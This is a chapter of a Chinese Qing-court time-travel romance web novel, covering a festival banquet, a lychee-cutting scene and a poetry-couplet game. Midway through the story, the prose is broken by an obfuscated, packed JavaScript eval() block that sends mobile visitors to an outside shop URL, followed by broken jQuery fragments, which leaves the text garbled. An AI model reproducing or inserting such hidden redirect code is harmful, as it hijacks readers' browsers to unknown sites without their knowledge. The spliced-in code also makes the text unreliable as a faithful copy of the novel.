科学的尽头是玄学这个理论她本来是不想相信的,可是当她两天之后的清晨给四阿哥收拾书桌时,失踪的青玉月兔真的又回来了!端端正正压住四阿哥拜托她画的杂毛兔。
画纸上的那只除了耳朵竖直看得出是兔子的特征外,其他的完全是照鼠画兔!四肢细长没有毛,身上的毛炸起来像只刺猬,两只眼珠子溜圆惊恐万状,整体好似是偷吃了灯油无处可藏的老鼠。
“哇!真的回来了?”她弯下腰左右端详着月兔儿,从左看到右,从右看到左,“我还以为你半夜现原形,不小心被饥不择食的四阿哥当宵夜给做成了麻辣味儿的......”说到这还用力咽了咽口水,用她丰富的想象力在把对兔兔的同情行为都体现在舔嘴唇和流口水上。
收拾完了书房准备去找舒兰和小永璜玩耍一会儿,顺便吃一个午茶点心,把四阿哥书房里这桩奇事儿说给舒兰听。
一只脚刚踏出门槛,苏姼在书房门口把她堵了个正着,先是客客气气地叫了她一声春儿格格,“今儿个是六月初六,天贶节。正好金格格说你当直,熹贵妃备了席面,让四爷的女眷们过节日,你去牡丹台伺候罢。”
两只脚一前一后,出去也不是收回也不是,这一刻她的怨气简直比天然气泄露里的一氧化碳中毒还令人窒息。地主家果然吃饱了撑得,没有节日制造节日也要庆祝......在二十一世纪的职场拒绝工作可能她会被辞退,但是在十八世纪的职场拒绝工作,她可能会从无名之辈变成无头之尸!
打了个寒颤赶快摸了摸自己的脖子,把享受午茶的心思扔到万里之外,“好的呀。”门槛里的那只脚丫子快速抽出来,两只脚并拢站在了门外。
没过一炷香的时间,莲花馆的福晋格格们就都收拾好了。一路骡车载着她们,随侍的宫人如彩凤身后拖着长长的尾羽般逶迤。走在队伍中间的丫头被大中午刺眼的阳光晃到眼睛都睁不开,身体宛如被从盐缸里扒出来的咸菜。
好不容易爬到牡丹台,庭院里早就搭好了小凉棚,果桌子准备的都是应季的水果,什么龙眼、杏子、香瓜、桃子,之前居民区超市里的平民款,都成了现在的皇家贡品......
勾连搭抱厦里头设了三张黄花梨木雕梅圆桌,宫女们摆放着桌子上的餐具。这么热的天儿,屋子里也围不下那么多人,所以玉录黛和高徽玉,以及生育过阿哥的舒兰被邀请进堂上向熹贵妃请安,其他没名分的只能站在外面晒太阳。
熹贵妃见着自己的儿妇们一个个曲眉丰颊,柳亸花娇,笑逐颜开着同她们攀谈起来,“你们几个今儿个凑在一处,倒叫我羡慕起老四,冰雪似的人儿陪着他,真好!”
玉录黛回身看看站在身后的高徽玉和富察·舒兰,笑着回道:“额涅要是觉得缺个人说话儿,咱们日后来请安的时候就多留下来陪陪您。”
熹贵妃听了玉录黛的回话儿,眼中笑意不改地瞥了瞥高徽玉,大约是想起来她上元灯节宴席上没头没脑出言想让苏姼难堪,却让她自己闹了笑话儿。虽然大家谁都没有明说,可心里那劲儿不痛快可别提堵得人多难受了,更别说孝敬宪皇后生前还拿她当黑手……
“陪我说话儿,那感情好……”慢慢地,熹贵妃的笑容没有了开始的真心实意,“我这阵儿可爱读书,一个人儿看没什么意思,你们谁能陪我聊聊书里写的,就最好不过了。先前苏姼在我这做供奉的差事,满肚子的学问......唉......怎么没见姼丫头来跟前儿请安呐?”
听主子要见,总管冯和赶紧招手示意去外头请。转眼苏姼就轻车熟路地进殿里来朝熹贵妃问了安,然后乖乖地站到一边,静等着熹贵妃问话。
熹贵妃只顾着和玉录黛说:“我听说老四最喜欢和嫡福晋谈论书道,正巧苏姼的画儿画得不错,冬里给我描过好些花样子呢,嫔妃们来挑走了一些。有的绷在采帨上,我瞧着好看得很呢!”
玉录黛转目看了苏姼一眼,低头对熹贵妃道:“回额涅的话儿,姼格格作画我等还没眼福见过,要是得空了也赏脸给馆里的姊妹们画上几幅。”
熹贵妃想起来什么,打软塌的腰背略直了些,朝现在一旁的苏姼招手,“姼丫头,你上回陪着你家主子福晋来本宫这请安,不是应下了要给我画扇面儿么?这回可有带来?眼瞅着今儿个天气热,使得上……”
苏姼上前施了个万福,右手从宽大的衫子袖中取出一只兰蝶纹如意头扇袋子,双手呈上去,“主子娘娘吩咐的事儿,妾不敢怠慢。用笔稚拙,博主子娘娘一笑。”
冯和躬身替熹贵妃把扇子展开,湘妃竹做的美人肩大骨,因为是新制的没有老件儿拿在手里的滑润,开合也略略生涩。扇面的画倒称得上是独树一帜。两只白鹇枝头双飞状,雄白鹇左边翅阔舒展,尾羽飘然,刚好遮住一同展翅的雌白鹇。雌白鹇在画面上只露右出翅,猛然一观,竟然给人比翼双飞的视觉差。
巧妙用心也让熹贵妃赞叹不已,当即赏了苏姼金锞子,“上回你来我说什么来着?老匠人就缺你这份女儿家的心思,湘妃竹合该这比翼双飞鸟才应景儿呢。”
殿里头正说着,回事的小太监颠颠儿进来报各宫妃嫔来到,在院子里等着向熹主子请安。
熹贵妃把扇子一收,握在手里没有要撂下意思,勾勾扇子召过冯和道:“时候差不多了,咱们出去罢,别让嫔妃们在日头底下干等着了。传御膳房准备的冰饮子先呈上来,万岁爷和阿哥们还不定什么时辰才能过来,一会儿你再去亲政亲贤殿看看万岁爷那儿忙完了没有。”
凉棚下站了不少人,为首的是裕妃,左右是郭贵人和宁贵人,再往后的就是雍正八年进位贵人的刘氏、安贵人和李贵人。夏日气温高,各人都穿着绸料单衬衣,宽宽大大的透气又清凉,有风袭来时也容易往衣裳里窜涌。
最先上前的便是裕妃,一来就亲亲热热地和熹贵妃相互执手寒暄,“咱们好久没这么着聚在一块儿了,还是贵妃您精致,瞧瞧预备的都是有模有样的。一会儿老五他福晋来了,我可得让她好好向您请教请教这主馈的学问。将来开衙建府了,可不能手忙脚乱不知道怎么下手。”
熹贵妃拉着裕妃先入了席,招手示意其他妃嫔落座,对裕妃道:“老五的福晋是个有福气的,不用旁人教。你瞧她第一胎就生了嫡长子永瑛,别教她担荷那么多苦差,将来孩子们大一些了,她也就驾轻就熟,府邸里的事也都顺理成章了。”
裕妃扭脸儿看看还站殿门前四阿哥的女眷们,不忘仔细打量起她们,心底里不免暗自和五阿哥的嫡福晋吴扎库氏做起比较。单是一个玉录黛就让弘昼竹子院的女人们都成了常鳞凡介,更何况还有徽商大贾家这样的千金在身边加以辅弼,说不羡慕是假的......
倏忽间瞥见勾连搭抱厦外头站着个闭眼蹙眉的丫头,五官挤在一起,两颊让太阳晒得红红的,还时不时叹着气。那不就是五阿哥口中常提起的‘美人儿’的冤家对头!要说‘美人儿’有多讨厌那个丫头,裕妃是见识过了,也是那次机缘巧合让裕妃有机会坐在现在的后宫品阶上。
民间说“灾福”,大概就是这个意思了罢?
“唉?四阿哥家的格格福晋们都在一处,怎么单那个丫头落在太阳窝儿里了?”裕妃挑眉示意熹贵妃朝勾连搭抱厦外瞧,顺手剥了颗龙眼塞进嘴里,细细地嚼,“我记得她跟着四阿哥的时候不短了,怎么就她没什么动静儿?该不会是身子不济事罢?”
熹贵妃余光瞟了瞟从第一次见面就没正常过的丫头,寻思哪个好人家会同意自己的儿子纳这样无风也能起浪的女子。心里虽如此想,表情管理依旧自然而然,“瞧你说得,她不过就是个辛者库调上来的使女,姿容平平,老四怕是看不上她。你不说,我还没留心,老四好长时候都没带她来请过安了。”
裕妃吐掉龙眼核,口中沾上了龙眼核的涩味儿,抿了抿唇道:“我倒是挺喜欢她的,脸蛋儿圆圆的,眼睛也圆圆的,受了惊吓好像那个木兰围场里的小熊崽子。”越说裕妃越想笑,终于忍不住噗嗤笑了出来,“熹妃姐姐刚才说她无风也起浪,一点也不假,我家‘美人儿’和她在一处,别提多热闹了……”
天气的炎热丝毫没有影响勾连搭抱厦里谈笑的皇族贵妇们。两侧角落里的妃嫔们摇扇生风,时而用扇子遮面说着悄悄话,时而低声笑在一处。
说笑了约摸食顷,四阿哥和五阿哥就入了院子。五阿哥抱拳匆匆朝妃嫔们见了礼,也不顾座上妃嫔长辈和他说上句话儿,自顾自入了席。四阿哥先是礼数周全了一番,眼神朝太阳下暴晒的丫头划过,步履温吞地坐在了五阿哥身边儿。
“四哥你几时这么胆小了?”说话间顺便抓了颗桃子塞到四阿哥怀里,轻轻拍拍四阿哥的手,“也罢,宁吃仙桃一口,不吃烂杏一筐。”
五阿哥嫡福晋吴扎库氏带着使女崔氏姗姗来迟。即使是夫妻在此也是男女不同席的。一来男子饮酒,女子不擅饮,只埋头吃饭也不合适。二来内外话题有别,总不好家长里短和时事政治一桌乱炖罢。
最后到席的自然是雍正大人和他的兄弟子侄们,拖拖拉拉一行人,均为常服打扮。
雍正大人在勾连搭抱厦的正席上一落座,两旁嫔妃们的遮阳帘子便哗啦啦放了下来,把花容月貌们挡得严严实实。凉棚底下几桌席面多是黄带子亲王,只是有一位身份显得有些尴尬。那人端坐如钟,看上去已有不惑之年纪,身着无领青色长袍,腰上系普通的玉勾绦带。瞧着貌似不乏沉稳。
内宫多数新人都不识得他,但宫里的老人儿却对他熟悉得很。熹贵妃先问了雍正大人几句安善的话儿,又拿眼睛朝下头席面扫了扫,注意到端坐的理亲王弘晳,心里生出一丝不愉,脸上却笑容可掬,“那不是理亲王么?刚才进来的时候我寻思看岔了,几年没见,越发风华意气了!”
坐在另一侧的裕妃听了这话心里感觉说不出的怪异,拿手巾掩嘴轻咳了一声,如坐针毡似地动了动屁股。上次五阿哥弘昼抄写怡亲王诗文的事虽然平息了,可庄亲王允禄葫芦里的药可不止有弘昼这一味,君臣佐使配伍,这君的人选大概已经改了无数回方子了。
本来雍正大人是把弘晳和其家眷们安置在京城外二十里的郑各家庄的,顺便派遣了数千兵丁保护。后来不知道为什么,雍正大人在弘晳迁往郑各家庄的第六天,忽然下旨令弘晳仍然可以入皇城参加祭祀典礼,朝会等事。并放出明话,说如此安排为圣祖皇帝驾崩之前的交代,还把这些交代和圣祖皇帝遗言传位给自己的事放到了一起公示....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904227|208777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
..
理亲王弘晳向熹贵妃拱了拱手,“未常到熹母妃跟前请安,今后一定与内眷们多到您宫里走动。”
刚预备起杯喫茶的雍正大人收回了手,心里对弘晳口中“母妃”的称谓十分不满。节下当着内眷们的面儿又不好发作,本来要握杯的手慢慢攥成拳,不轻不重地叩击几下桌子,似被暑气烦扰道:“清风无力,暑热得很,郑各庄相距虽不甚远,福晋们恐路途难耐,待过段时日再议罢。”说是体谅理亲王内眷们,可是都听得出明摆着是拒绝了弘晳。
熹贵妃见状立即附和了几句,“万岁爷心疼小辈儿,二阿哥也孝顺......”转头向冯和使了个眼色,冯和朝廊子外的奴才们挥手,立刻就有三株荔枝树被抬了出来。
某丫头眼珠子瞪得和那树枝上的荔枝一般大,小声儿嘀咕:“好家伙,真是好家伙......这得需要多少运费,累倒多少快递小哥儿啊!”她第一个想到的问题是快递小哥儿们的运输辛苦,以及把费用用在这种享乐的事情上。那首诗怎么写的来着——
吾君所乏岂此物,致养口体何陋耶?
荔枝贡流行了几百年,从唐代起各个朝代皆属于例贡。康熙朝曾经停贡过一些年头,雍正朝又恢复,即使在西北战事紧迫期间都没有再停过。
“亏得圣祖爷想出的法儿,连株进贡不仅荔枝新鲜无比,一路上的船运也安排得顺顺当当。今年福州统共进贡四十六株,除去各处佛祖神仙供养所用,再就是祖宗们的祭品所用,剩下的这三株奴才趁着天贶节让大伙儿尝个鲜。”熹贵妃说话间,微微低头不经意用手指将自己搁在筷枕上的筷尾拨弄成紧贴的样子,低语轻声道:“定慧寺殡宫也于前日送过去了,承祭的奴才回话儿说进香时香状燃得安顺,万岁爷放心......”
雍正大人没接话,握拳的手重新握起茶杯饮了几口,“开始剪果儿罢,用过宴席朕和他们还得回去接着办差事。”用手指了指盯着荔枝树不挪眼睛的某丫头,“就让她剪。”
在雍正大人的手指头的引导下,所有人的眼睛齐刷刷看向站在阳光下晒得满头是汗,还一副惊恐万状的丫头。不由自主地抖了三抖,小心翼翼接过小太监递过来的剪刀......
这不就相当于给铲屎官拆快递的宠物猫嘛?至少她现在心里是这么感觉的。硬着头皮哆哆嗦嗦就给荔枝树来了一剪子,咔嚓,剪掉的第一颗荔枝带着枝叶掉进栽种荔枝树的木桶里。她默念了一句妈祖保佑,赶紧蹲下去要伸手拣起那颗荔枝,忽的手背上传来温热,头顶压下一片阴影把她紧紧包围住。
“别怕......”他俯下身子,趁机在她耳边低喃安抚着,“有我在......”那只黄褐色扳指逾发旧了,套在他削瘦的拇指上,连带着他筋节分明的手背瞧上去都颓废了。
她快速反手握了一下他的手指,小心地点点头,这一切的小动作都让团如帷盖的荔枝树挡得严实,没人看得清。
允祕面向席上众人时手上已然多了一颗浑圆鲜红的荔枝果子。身后的某丫头站起身躲在他用身高优势撑起的阴凉里,似乎有种从阎王爷那里撤回了一条小命儿的感觉......
“臣听闻福建八闽近来有一诗文游戏,名曰诗钟,一炷香的功夫儿吟诗成联。诗钟有笼纱、嵌珠两格。笼纱者,取绝不相干两事,以上下句分咏,嵌珠则任取两字,平仄各一,分嵌于第几字。”说着将手里的荔枝高高举起,展示给众人,“臣想请皇上以荔枝为彩头,由臣牵头出第一格,接上的人得荔枝一枚,而后出下一格。”
这么新鲜又文雅的游戏让雍正大人来了兴致,点头应允,“南方多文人雅士,也就是他们能想出这档子来!权当是娱乐增趣了。”
一时间勾连搭抱厦里的女眷们细声交头接耳起来,多数人面露难色。只因她们闺中并不如男子们读那许多书,如今想吃口荔枝却要吟诗作赋,实在有些为难。
苏姼上前几步先是向熹贵妃请了示下,而后十分有礼数地走到勾连搭抱厦的竹帘子后面,这样她的大半张脸几乎被挡住,朝着允祕行了个万福礼,“諴亲王殿下容妾禀,抱厦里的诸位贵人主子们皆师从于曹大家与文德皇后,多是闺闱训导。故而妾斗胆请誠亲王殿下以唐诗为放围,这样贵人主子们也好参与此份儿雅趣。”
允祕勾唇浅笑,颔首言道正有此意。沉吟片刻,道:“诸位请听第一联,青黄第三格,上句‘忽逢青鸟使’。”正是孟浩然所写的梅道士邀宴的情形,以这句诗开头称得上应景。
私下里又是一阵儿交谈,尤其是五阿哥,先是望向勾连搭抱厦里自家嫡福晋的方向,再不错眼珠儿地盯紧了誠亲王手里的荔枝,“唉!要不四哥您卖个人情给我,告诉我下句,我也让那宫中美人一破颜?”还不忘世家纨绔子弟的样子玩转手里的棕竹折扇,熟练翻转的扇子都转出了虚影,花样百出让人目不暇接。
四阿哥弘历好似没有听见五阿哥的话,抿唇端坐着,双手搭在膝上,目光也只停在面前的果品上,尤其是那盘水灵灵的桃子,愤然从书页上撕下的诗句忽然变成一颗又一颗无形的钉子,使尽了天神之力般钉入他的血肉身躯。只稍一动眼神,瞟过去看躲在誠亲王身后的那个丫头,都觉得被彻心彻骨......